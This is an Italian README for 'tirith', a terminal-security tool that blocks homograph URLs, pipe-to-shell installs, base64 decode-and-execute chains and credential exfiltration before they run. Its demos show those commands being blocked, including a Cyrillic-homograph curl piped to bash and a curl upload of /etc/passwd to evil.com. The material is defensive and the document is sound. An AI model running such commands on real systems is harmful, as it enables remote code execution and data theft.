
tirith v0.4.2
Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.
tirith
Il tuo browser lo intercetterebbe. Il tuo terminale no.
Sito web | Documentazione | SKILL.md | Changelog | Release
Progetto open-source indipendente, con hosting supportato dal Vercel Open Source Program (Spring 2026 Cohort).
Riesci a notare la differenza?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
Non puoi. Nemmeno il tuo terminale può. Entrambi i caratteri і sono cirillici (U+0456), non latini i. Il secondo URL si risolve sul server di un attaccante. Lo script viene eseguito prima che tu te ne accorga.
I browser hanno risolto questo problema anni fa. I terminali continuano a visualizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza farsi domande. Gli agenti AI eseguono comandi shell e installano pacchetti senza ispezionare ciò che contengono.
Tirith presidia il cancello. Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevoli e pacchetti/domini/IP notoriamente dannosi provenienti da un database di threat intelligence firmato, prima che vengano eseguiti.
brew install tirith
Poi attivalo nel tuo profilo della shell:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricorre a$SHELLse necessario). Il flag esplicito--shellè richiesto solo quando vuoi sovrascrivere il rilevamento.
Oppure lascia che Tirith scriva il file di avvio per te, come un unico piano revisionato che puoi annullare:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
Questo è tutto per la copertura della shell interattiva. I comandi accettati da quella shell vengono controllati mentre l'hook è caricato e funzionante; il comportamento esatto di blocco dipende dalla shell e dalla modalità. Esegui tirith status dopo l'installazione e gli aggiornamenti: indica se l'hook caricato in questo terminale è aggiornato. Esegui tirith doctor --verify-shell per osservare il blocco nella shell stessa, e leggi enforcement by shell prima di considerare l'hook come confine di autorizzazione. I comandi puliti restano silenziosi e normalmente seguono il percorso rapido.
Disponibile anche tramite npm, cargo, mise, apt/dnf e altro.
Vedilo in azione
Attacco homograph, bloccato prima dell'esecuzione:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Il comando non viene mai eseguito.
Richiesta HTTP in chiaro verso un indirizzo LAN, segnalata con un avviso, non bloccata:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
L'avviso viene stampato su stderr. Il comando viene comunque eseguito. Un download inviato tramite pipe a una shell
(curl ... | sh) non è un avviso: viene bloccato come curl_pipe_shell.
Catena di decodifica ed esecuzione Base64, bloccata:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Rileva anche le catene di decodifica tramite wrapper sudo/env e PowerShell -EncodedCommand.
Esfiltrazione di credenziali, bloccata:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
Copre tutti i flag di upload di curl/wget, le variabili d'ambiente ($AWS_SECRET_ACCESS_KEY) e la sostituzione di comandi.
File di skill malevolo, intercettato durante la scansione:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Analizza file JS/Python alla ricerca di payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.
Comandi normali, invisibili:
$ git status
$ ls -la
$ docker compose up -d
Niente. Zero output. Dimentichi che tirith è in esecuzione.
Cosa rileva
245 regole di rilevamento in 35 categorie.